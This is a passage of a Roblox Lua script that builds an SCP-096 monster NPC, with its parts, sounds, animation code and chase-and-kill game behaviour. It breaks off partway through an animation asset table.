  2764. Motor6D145.C0 = CFrame.new(-1.66337526, 1.17414677, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2765. Motor6D145.C1 = CFrame.new(-0.48922804, 0.489227831, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  2766. Motor6D145.Part0 = Part159
  2767. Motor6D145.Part1 = Part136
  2768. Motor6D146.Name = "Left Hip"
  2769. Motor6D146.Parent = Part136
  2770. Motor6D146.C0 = CFrame.new(-0.48922804, -1.95691133, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  2771. Motor6D146.C1 = CFrame.new(0, 0.978455663, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  2772. Motor6D146.Part0 = Part136
  2773. Motor6D146.Part1 = Part135
  2774. Motor6D147.Name = "Right Hip"
  2775. Motor6D147.Parent = Part136
  2776. Motor6D147.C0 = CFrame.new(0.48922804, -1.95691133, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2777. Motor6D147.C1 = CFrame.new(0, 0.978455663, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
  2778. Motor6D147.Part0 = Part136
  2779. Motor6D147.Part1 = Part148
  2780. Part148.Name = "Right Leg"
  2781. Part148.Parent = Model133
  2782. Part148.Material = Enum.Material.SmoothPlastic
  2783. Part148.BrickColor = BrickColor.new("Institutional white")
  2784. Part148.CanCollide = false
  2785. Part148.Elasticity = 0
  2786. Part148.FormFactor = Enum.FormFactor.Symmetric
  2787. Part148.Friction = 2
  2788. Part148.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
  2789. Part148.CFrame = CFrame.new(51.6486931, 1.95693445, -91.022995, 0.999991536, 9.59255342e-28, -4.37114238e-08, -1.46411871e-27, 0.999995768, -6.68887362e-28, 4.37120065e-08, 1.02092776e-27, 1)
  2790. Part148.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2791. Part148.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2792. Part148.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2793. Part148.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2794. Part148.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2795. Part148.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2796. Part148.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2797. Part148.Position = Vector3.new(51.6486931, 1.95693445, -91.022995)
  2798. Part148.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2799. Part149.Name = "Head"
  2800. Part149.Parent = Model133
  2801. Part149.Material = Enum.Material.SmoothPlastic
  2802. Part149.BrickColor = BrickColor.new("Institutional white")
  2803. Part149.Elasticity = 0
  2804. Part149.FormFactor = Enum.FormFactor.Symmetric
  2805. Part149.Friction = 2
  2806. Part149.Size = Vector3.new(1.95691216, 0.978455663, 0.97845608)
  2807. Part149.CFrame = CFrame.new(51.1594696, 6.35996675, -91.022995, 0.999991417, 9.59255439e-28, -4.0501272e-13, -1.46411852e-27, 0.999995828, -6.6888741e-28, 6.18170445e-13, 1.02092786e-27, 1)
  2808. Part149.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2809. Part149.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2810. Part149.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2811. Part149.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2812. Part149.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2813. Part149.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2814. Part149.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2815. Part149.Position = Vector3.new(51.1594696, 6.35996675, -91.022995)
  2816. Part149.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2817. Sound150.Name = "Damage5"
  2818. Sound150.Parent = Part149
  2819. Sound150.SoundId = "rbxassetid://256509968"
  2820. Sound150.Volume = 1
  2821. Sound151.Name = "Idle"
  2822. Sound151.Parent = Part149
  2823. Sound151.SoundId = "rbxassetid://893111990"
  2824. Sound151.Volume = 1
  2825. Sound151.Looped = true
  2826. Sound152.Name = "Scream"
  2827. Sound152.Parent = Part149
  2828. Sound152.SoundId = "rbxassetid://254933782"
  2829. Sound152.Volume = 1
  2830. Sound152.Looped = true
  2831. Sound153.Name = "Panic"
  2832. Sound153.Parent = Part149
  2833. Sound153.SoundId = "rbxassetid://325080827"
  2834. Sound153.Volume = 1
  2835. SpecialMesh154.Parent = Part149
  2836. SpecialMesh154.MeshId = "http://www.roblox.com/asset/?id=36869983"
  2837. SpecialMesh154.Scale = Vector3.new(0.5, 0.5, 0.5)
  2838. SpecialMesh154.MeshType = Enum.MeshType.FileMesh
  2839. SpecialMesh154.Scale = Vector3.new(0.5, 0.5, 0.5)
  2840. SpecialMesh155.Name = "HeadMesh"
  2841. SpecialMesh155.Parent = Part149
  2842. SpecialMesh155.MeshId = "rbxassetid://36869983"
  2843. SpecialMesh155.TextureId = "rbxassetid://367967552"
  2844. SpecialMesh155.MeshType = Enum.MeshType.FileMesh
  2845. Weld156.Name = "HeadWeld"
  2846. Weld156.Parent = Part149
  2847. Weld156.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2848. Weld156.C1 = CFrame.new(-0.200000003, -0.419999987, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
  2849. Weld156.Part0 = Part149
  2850. Weld156.Part1 = Part162
  2851. Weld157.Name = "HeadWeld"
  2852. Weld157.Parent = Part149
  2853. Weld157.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2854. Weld157.C1 = CFrame.new(0.200000003, -0.449999988, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
  2855. Weld157.Part0 = Part149
  2856. Weld157.Part1 = Part165
  2857. Weld158.Name = "HeadWeld"
  2858. Weld158.Parent = Part149
  2859. Weld158.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2860. Weld158.C1 = CFrame.new(0, 0.5, 1.29999995, -1, 0, 0, 0, -0.000999999582, 0.999999523, 0, 0.999999523, 0.000999999582)
  2861. Weld158.Part0 = Part149
  2862. Weld158.Part1 = Part168
  2863. Part159.Name = "Right Arm"
  2864. Part159.Parent = Model133
  2865. Part159.Material = Enum.Material.SmoothPlastic
  2866. Part159.BrickColor = BrickColor.new("Institutional white")
  2867. Part159.CanCollide = false
  2868. Part159.Elasticity = 0
  2869. Part159.FormFactor = Enum.FormFactor.Symmetric
  2870. Part159.Friction = 2
  2871. Part159.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
  2872. Part159.CFrame = CFrame.new(52.3336067, 4.20737314, -91.022995, 0.999991536, 9.59255342e-28, 4.37106138e-08, -1.46411871e-27, 0.999995768, -6.68887459e-28, -4.37107701e-08, 1.02092776e-27, 1)
  2873. Part159.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2874. Part159.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2875. Part159.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2876. Part159.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2877. Part159.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2878. Part159.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2879. Part159.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2880. Part159.Position = Vector3.new(52.3336067, 4.20737314, -91.022995)
  2881. Part159.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2882. Humanoid160.Name = "SCP"
  2883. Humanoid160.Parent = Model133
  2884. Humanoid160.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
  2885. Humanoid160.HealthDisplayDistance = 0
  2886. Humanoid160.NameDisplayDistance = 0
  2887. Humanoid160.NameOcclusion = Enum.NameOcclusion.EnemyOcclusion
  2888. Humanoid160.RightLeg = Part148
  2889. Humanoid160.LeftLeg = Part135
  2890. Humanoid160.Torso = Part175
  2891. Humanoid160.Health = inf
  2892. Humanoid160.MaxHealth = inf
  2893. Humanoid160.WalkSpeed = 10
  2894. Hat161.Name = "Eye"
  2895. Hat161.Parent = Model133
  2896. Hat161.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
  2897. Hat161.AttachmentPos = Vector3.new(-0.200000003, -0.419999987, 0.300000012)
  2898. Hat161.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
  2899. Part162.Name = "Handle"
  2900. Part162.Parent = Hat161
  2901. Part162.Material = Enum.Material.Neon
  2902. Part162.BrickColor = BrickColor.new("Really red")
  2903. Part162.Rotation = Vector3.new(-89.9399948, 0, 0)
  2904. Part162.CanCollide = false
  2905. Part162.Elasticity = 0
  2906. Part162.FormFactor = Enum.FormFactor.Custom
  2907. Part162.Friction = 2
  2908. Part162.Size = Vector3.new(0.869068086, 0.868596196, 0.86859858)
  2909. Part162.CFrame = CFrame.new(51.3594666, 6.56038666, -91.4432983, 0.999991417, 4.05012531e-13, -4.05417947e-16, -1.46411852e-27, 0.00100099633, 0.999995351, 6.18170445e-13, -0.999999523, 0.00100100052)
  2910. Part162.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2911. Part162.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2912. Part162.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2913. Part162.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2914. Part162.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2915. Part162.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2916. Part162.Color = Color3.new(1, 0, 0)
  2917. Part162.Position = Vector3.new(51.3594666, 6.56038666, -91.4432983)
  2918. Part162.Orientation = Vector3.new(-89.8299942, 0, 0)
  2919. Part162.Color = Color3.new(1, 0, 0)
  2920. SpecialMesh163.Parent = Part162
  2921. SpecialMesh163.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
  2922. SpecialMesh163.MeshType = Enum.MeshType.Sphere
  2923. SpecialMesh163.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
  2924. Hat164.Name = "Eye"
  2925. Hat164.Parent = Model133
  2926. Hat164.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
  2927. Hat164.AttachmentPos = Vector3.new(0.200000003, -0.449999988, 0.300000012)
  2928. Hat164.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
  2929. Part165.Name = "Handle"
  2930. Part165.Parent = Hat164
  2931. Part165.Material = Enum.Material.Neon
  2932. Part165.BrickColor = BrickColor.new("Really red")
  2933. Part165.Rotation = Vector3.new(-89.9399948, 0, 0)
  2934. Part165.CanCollide = false
  2935. Part165.Elasticity = 0
  2936. Part165.FormFactor = Enum.FormFactor.Custom
  2937. Part165.Friction = 2
  2938. Part165.Size = Vector3.new(0.961965919, 0.961494088, 0.961496592)
  2939. Part165.CFrame = CFrame.new(50.9594727, 6.5604167, -91.4732971, 0.999991417, 4.05012531e-13, -4.05417947e-16, -1.46411852e-27, 0.00100099633, 0.999995351, 6.18170445e-13, -0.999999523, 0.00100100052)
  2940. Part165.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2941. Part165.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2942. Part165.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2943. Part165.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2944. Part165.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2945. Part165.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2946. Part165.Color = Color3.new(1, 0, 0)
  2947. Part165.Position = Vector3.new(50.9594727, 6.5604167, -91.4732971)
  2948. Part165.Orientation = Vector3.new(-89.8299942, 0, 0)
  2949. Part165.Color = Color3.new(1, 0, 0)
  2950. SpecialMesh166.Parent = Part165
  2951. SpecialMesh166.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
  2952. SpecialMesh166.MeshType = Enum.MeshType.Sphere
  2953. SpecialMesh166.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
  2954. Hat167.Name = "Mouth"
  2955. Hat167.Parent = Model133
  2956. Hat167.AttachmentForward = Vector3.new(-0, -0.999999523, -0.000999999582)
  2957. Hat167.AttachmentPos = Vector3.new(0, 0.5, 1.29999995)
  2958. Hat167.AttachmentRight = Vector3.new(-1, 0, 0)
  2959. Hat167.AttachmentUp = Vector3.new(0, -0.000999999582, 0.999999523)
  2960. Part168.Name = "Handle"
  2961. Part168.Parent = Hat167
  2962. Part168.Material = Enum.Material.SmoothPlastic
  2963. Part168.BrickColor = BrickColor.new("Really red")
  2964. Part168.Rotation = Vector3.new(-89.9399948, 0, 180)
  2965. Part168.CanCollide = false
  2966. Part168.Elasticity = 0
  2967. Part168.FormFactor = Enum.FormFactor.Custom
  2968. Part168.Friction = 2
  2969. Part168.Size = Vector3.new(1.00906014, 0.639891207, 2.17809296)
  2970. Part168.CFrame = CFrame.new(51.1594696, 5.56047058, -91.524292, -0.999991417, -4.05012531e-13, -4.05012562e-16, 1.46411852e-27, -0.000999995391, 0.999995351, -6.18170445e-13, 0.999999523, 0.000999999582)
  2971. Part168.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2972. Part168.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2973. Part168.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2974. Part168.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2975. Part168.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2976. Part168.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2977. Part168.Color = Color3.new(1, 0, 0)
  2978. Part168.Position = Vector3.new(51.1594696, 5.56047058, -91.524292)
  2979. Part168.Orientation = Vector3.new(-89.8299942, 0, 180)
  2980. Part168.Color = Color3.new(1, 0, 0)
  2981. SpecialMesh169.Parent = Part168
  2982. SpecialMesh169.Scale = Vector3.new(0.899999976, 1, 1)
  2983. SpecialMesh169.MeshType = Enum.MeshType.Sphere
  2984. SpecialMesh169.Scale = Vector3.new(0.899999976, 1, 1)
  2985. Decal170.Parent = Part168
  2986. Decal170.Texture = "http://www.roblox.com/asset/?id=600743425"
  2987. Decal170.Face = Enum.NormalId.Right
  2988. Decal171.Parent = Part168
  2989. Decal171.Texture = "http://www.roblox.com/asset/?id=600743425"
  2990. Decal171.Face = Enum.NormalId.Left
  2991. Decal172.Name = "MouthTex"
  2992. Decal172.Parent = Part168
  2993. Decal172.Texture = "http://www.roblox.com/asset/?id=270409456"
  2994. Decal172.Face = Enum.NormalId.Bottom
  2995. Decal173.Parent = Part168
  2996. Decal173.Texture = "http://www.roblox.com/asset/?id=600743425"
  2997. Decal174.Parent = Part168
  2998. Decal174.Texture = "http://www.roblox.com/asset/?id=600743425"
  2999. Decal174.Face = Enum.NormalId.Back
  3000. Part175.Name = "HumanoidRootPart"
  3001. Part175.Parent = Model133
  3002. Part175.Material = Enum.Material.SmoothPlastic
  3003. Part175.BrickColor = BrickColor.new("Really red")
  3004. Part175.Transparency = 1
  3005. Part175.CanCollide = false
  3006. Part175.Elasticity = 0
  3007. Part175.FormFactor = Enum.FormFactor.Symmetric
  3008. Part175.Friction = 2
  3009. Part175.Size = Vector3.new(1.95691216, 1.95691133, 0.97845608)
  3010. Part175.CFrame = CFrame.new(51.1594696, 4.89228916, -91.022995, 0.999991655, 9.59255439e-28, -4.0501272e-13, -1.46411891e-27, 0.999995828, -6.6888741e-28, 6.18170554e-13, 1.02092786e-27, 1)
  3011. Part175.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  3012. Part175.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  3013. Part175.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  3014. Part175.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  3015. Part175.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  3016. Part175.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  3017. Part175.Color = Color3.new(1, 0, 0)
  3018. Part175.Position = Vector3.new(51.1594696, 4.89228916, -91.022995)
  3019. Part175.Color = Color3.new(1, 0, 0)
  3020. Motor6D176.Name = "RootJoint"
  3021. Motor6D176.Parent = Part175
  3022. Motor6D176.C0 = CFrame.new(0, 0, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  3023. Motor6D176.C1 = CFrame.new(0, 0, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  3024. Motor6D176.Part0 = Part175
  3025. Motor6D176.Part1 = Part136
  3026. Script177.Name = "MainAnimation"
  3027. Script177.Parent = Model133
  3028. table.insert(cors,sandbox(Script177,function()
  3029. --[[ By: Brutez. ]]--
  3030. local FreeSCP096AnimationScript=script;
  3031. local FreeSCP096=FreeSCP096AnimationScript.Parent
  3032. local FreeSCP096Humanoid=nil;
  3033. local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
  3034. local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
  3035. local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
  3036. local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
  3037. local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
  3038. local Neck=FreeSCP096Torso:FindFirstChild("Neck")
  3039. local pose="Standing";
  3040. for _,Child in pairs(FreeSCP096:GetChildren())do
  3041. if Child.ClassName=="Humanoid"then
  3042. FreeSCP096Humanoid=Child;
  3043. end
  3044. end
  3045. function onRunning(speed)
  3046. if speed>0.001 then
  3047. pose = "Running"
  3048. else
  3049. pose = "Standing"
  3050. end
  3051. end
  3052. function onDied()
  3053. pose = "Dead"
  3054. end
  3055. function onJumping()
  3056. pose = "Jumping"
  3057. end
  3058. function onClimbing()
  3059. pose = "Climbing"
  3060. end
  3061. function onGettingUp()
  3062. pose = "GettingUp"
  3063. end
  3064. function onFreeFall()
  3065. pose = "FreeFall"
  3066. end
  3067. function onFallingDown()
  3068. pose = "FallingDown"
  3069. end
  3070. function onSeated()
  3071. pose = "Seated"
  3072. end
  3073. function moveJump()
  3074. RightShoulder.MaxVelocity = 0.5
  3075. LeftShoulder.MaxVelocity = 0.5
  3076. RightShoulder.DesiredAngle = 3.14
  3077. LeftShoulder.DesiredAngle = -3.14
  3078. RightHip.DesiredAngle = 0
  3079. LeftHip.DesiredAngle = 0
  3080. end
  3081. function moveFreeFall()
  3082. RightShoulder.MaxVelocity = 1
  3083. LeftShoulder.MaxVelocity = 1
  3084. RightShoulder.DesiredAngle = 4
  3085. LeftShoulder.DesiredAngle = -4
  3086. RightHip.DesiredAngle = 1
  3087. LeftHip.DesiredAngle = 1
  3088. end
  3089. function moveSit()
  3090. RightShoulder.MaxVelocity = 0.15
  3091. LeftShoulder.MaxVelocity = 0.15
  3092. RightShoulder.DesiredAngle = 3.14 /2
  3093. LeftShoulder.DesiredAngle = -3.14 /2
  3094. RightHip.DesiredAngle = 1/2
  3095. LeftHip.DesiredAngle = -1/2
  3096. end
  3097. function move(time)
  3098. local amplitude
  3099. local frequency
  3100. if (pose == "Jumping") then
  3101. moveJump()
  3102. return
  3103. end
  3104. if (pose == "FreeFall") then
  3105. moveFreeFall()
  3106. return
  3107. end
  3108. if (pose == "Seated") then
  3109. moveSit()
  3110. return
  3111. end
  3112. local climbFudge = 0
  3113. if (pose == "Running") then
  3114. RightShoulder.MaxVelocity = 0.2
  3115. LeftShoulder.MaxVelocity = 0.2
  3116. RightHip.MaxVelocity = 0.2
  3117. LeftHip.MaxVelocity = 0.2
  3118. if FreeSCP096Humanoid.WalkSpeed~=35 then
  3119. amplitude = 0.4
  3120. frequency = 4
  3121. else
  3122. amplitude = 2
  3123. frequency = 12
  3124. end
  3125. elseif (pose == "Climbing") then
  3126. RightShoulder.MaxVelocity = 0.3
  3127. LeftShoulder.MaxVelocity = 0.3
  3128. RightHip.MaxVelocity = 1
  3129. LeftHip.MaxVelocity = 1
  3130. amplitude = 0.4
  3131. frequency = 6
  3132. climbFudge = 3.14
  3133. else
  3134. amplitude = 0.1
  3135. frequency = 1
  3136. end
  3137. local desiredAngle=amplitude*math.sin(time*frequency);
  3138. if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
  3139. RightShoulder.MaxVelocity = 0.05
  3140. LeftShoulder.MaxVelocity = 0.05
  3141. RightShoulder.DesiredAngle = 3.14
  3142. LeftShoulder.DesiredAngle = -3.14
  3143. end
  3144. if FreeSCP096Humanoid.WalkSpeed>10 then
  3145. RightShoulder.MaxVelocity = 5
  3146. LeftShoulder.MaxVelocity = 5
  3147. RightShoulder.DesiredAngle = 1.57
  3148. LeftShoulder.DesiredAngle = -1.57
  3149. RightHip.MaxVelocity = 3
  3150. LeftHip.MaxVelocity =3
  3151. end
  3152. if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
  3153. RightShoulder.DesiredAngle=desiredAngle+climbFudge;
  3154. LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
  3155. end
  3156. RightHip.DesiredAngle = -desiredAngle
  3157. LeftHip.DesiredAngle = -desiredAngle
  3158. end
  3159. FreeSCP096Humanoid.Died:connect(onDied)
  3160. FreeSCP096Humanoid.Running:connect(onRunning)
  3161. FreeSCP096Humanoid.Jumping:connect(onJumping)
  3162. FreeSCP096Humanoid.Climbing:connect(onClimbing)
  3163. FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
  3164. FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
  3165. FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
  3166. FreeSCP096Humanoid.Seated:connect(onSeated)
  3167. local nextTime=0
  3168. local runService=game:service("RunService");
  3169. while Wait(0)do
  3170. local time=runService.Stepped:wait(0);
  3171. if time>nextTime then
  3172. move(time);
  3173. nextTime=time;
  3174. end;
  3175. end;
  3176. --[[ By: Brutez. ]]--
  3177. end))
  3178. Script178.Name = "Main"
  3179. Script178.Parent = Model133
  3180. table.insert(cors,sandbox(Script178,function()
  3181. --[[ By: Brutez. ]]--
  3182. local FreeSCP096Script=script;
  3183. local FreeSCP096=FreeSCP096Script.Parent;
  3184. local FreeSCP096Humanoid=nil;
  3185. local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
  3186. local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
  3187. local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
  3188. local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
  3189. local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
  3190. local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
  3191. for _,Child in pairs(FreeSCP096:GetChildren())do
  3192. if Child.ClassName=="Humanoid"then
  3193. FreeSCP096Humanoid=Child;
  3194. end
  3195. end
  3196. local NoticeDistanceTime=0;
  3197. local Noticed=false;
  3198. function findNearestTorso(pos)
  3199. local NoticeDistance=150;
  3200. local torso=nil;
  3201. for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
  3202. if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
  3203. local TargetPart=TargetModel:FindFirstChild("Torso")
  3204. local FoundHumanoid=nil;
  3205. for _,Child in pairs(TargetModel:GetChildren())do
  3206. if Child.ClassName=="Humanoid"then
  3207. FoundHumanoid=Child;
  3208. end
  3209. end
  3210. if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
  3211. if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
  3212. if FreeSCP096Idle.IsPlaying then
  3213. FreeSCP096Idle:Stop()
  3214. end
  3215. if FreeSCP096Scream.IsPlaying then
  3216. FreeSCP096Scream:Stop()
  3217. end
  3218. FreeSCP096Panic:Play()
  3219. FreeSCP096Humanoid.WalkSpeed=1;
  3220. Wait(26)
  3221. Noticed=true
  3222. end
  3223. if Noticed then
  3224. torso=TargetPart;
  3225. NoticeDistance=(TargetPart.Position-pos).magnitude;
  3226. end;
  3227. end;
  3228. if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
  3229. FreeSCP096Kill:Play()
  3230. FoundHumanoid:TakeDamage(99999e99999)
  3231. end
  3232. end
  3233. end
  3234. return torso
  3235. end
  3236. while Wait(0)do
  3237. FreeSCP096Humanoid.MaxHealth=99999e99999
  3238. FreeSCP096Humanoid.Health=99999e99999
  3239. if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
  3240. FreeSCP096Humanoid.AutoJumpEnabled=true;
  3241. end
  3242. if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
  3243. FreeSCP096Humanoid.AutoRotate=true;
  3244. end
  3245. if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
  3246. FreeSCP096Humanoid.PlatformStand=false;
  3247. end
  3248. if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
  3249. FreeSCP096Humanoid.Sit=false;
  3250. end
  3251. if Noticed then
  3252. NoticeDistanceTime=NoticeDistanceTime+1
  3253. if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
  3254. Noticed=false;
  3255. NoticeDistanceTime=0
  3256. end
  3257. end
  3258. local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
  3259. if TargetPart then
  3260. if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
  3261. NoticeDistanceTime=NoticeDistanceTime-2
  3262. end
  3263. if FreeSCP096Idle.IsPlaying then
  3264. FreeSCP096Idle:Stop()
  3265. end
  3266. if not FreeSCP096Scream.IsPlaying then
  3267. FreeSCP096Scream:Play()
  3268. end
  3269. FreeSCP096Humanoid.WalkSpeed=35;
  3270. FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
  3271. else
  3272. if not FreeSCP096Idle.IsPlaying then
  3273. FreeSCP096Idle:Play()
  3274. end
  3275. if FreeSCP096Scream.IsPlaying then
  3276. FreeSCP096Scream:Stop()
  3277. end
  3278. FreeSCP096Humanoid.WalkSpeed=10;
  3279. local WanderChance=math.random(1,50);
  3280. local JumpChance=math.random(1,100);
  3281. if WanderChance==10 then
  3282. local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
  3283. FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
  3284. end
  3285. if JumpChance==10 then
  3286. FreeSCP096Humanoid.Jump=true;
  3287. end
  3288. end
  3289. end
  3290. --[[ By: Brutez. ]]--
  3291. end))
  3292. Script179.Name = "Animate"
  3293. Script179.Parent = Model133
  3294. table.insert(cors,sandbox(Script179,function()
  3295. function waitForChild(parent, childName)
  3296. local child = parent:findFirstChild(childName)
  3297. if child then return child end
  3298. while true do
  3299. child = parent.ChildAdded:wait()
  3300. if child.Name==childName then return child end
  3301. end
  3302. end
  3303.  
  3304. local Figure = script.Parent
  3305. local Torso = waitForChild(Figure, "Torso")
  3306. local RightShoulder = waitForChild(Torso, "Right Shoulder")
  3307. local LeftShoulder = waitForChild(Torso, "Left Shoulder")
  3308. local RightHip = waitForChild(Torso, "Right Hip")
  3309. local LeftHip = waitForChild(Torso, "Left Hip")
  3310. local Neck = waitForChild(Torso, "Neck")
  3311. local Humanoid = waitForChild(Figure, "SCP")
  3312. local pose = "Standing"
  3313.  
  3314. local currentAnim = ""
  3315. local currentAnimTrack = nil
  3316. local currentAnimKeyframeHandler = nil
  3317. local currentAnimSpeed = 1.0
  3318. local animTable = {}
  3319. local animNames = {
  3320. idle = {
  3321. { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
  3322. { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
  3323. },
  3324. walk = {
  3325. { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
  3326. },
  3327. run = {
  3328. { id = "run.xml", weight = 10 }
  3329. },
  3330. jump = {
  3331. { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
  3332. },
  3333. fall = {
  3334. { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
  3335. },
  3336. climb = {
  3337. { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
  3338. },
  3339. toolnone = {
  3340. { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
  3341. },
  3342. toolslash = {
  3343. { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
  3344. -- { id = "slash.xml", weight = 10 }
  3345. },
  3346. toollunge = {
  3347. { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
  3348. },
  3349. wave = {
  3350. { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
  3351. },
  3352. point = {
  3353. { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
  3354. },
  3355. dance = {
  3356. { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
  3357. { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
  3358. { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
  3359. },
  3360. dance2 = {
  3361. { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
  3362. { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
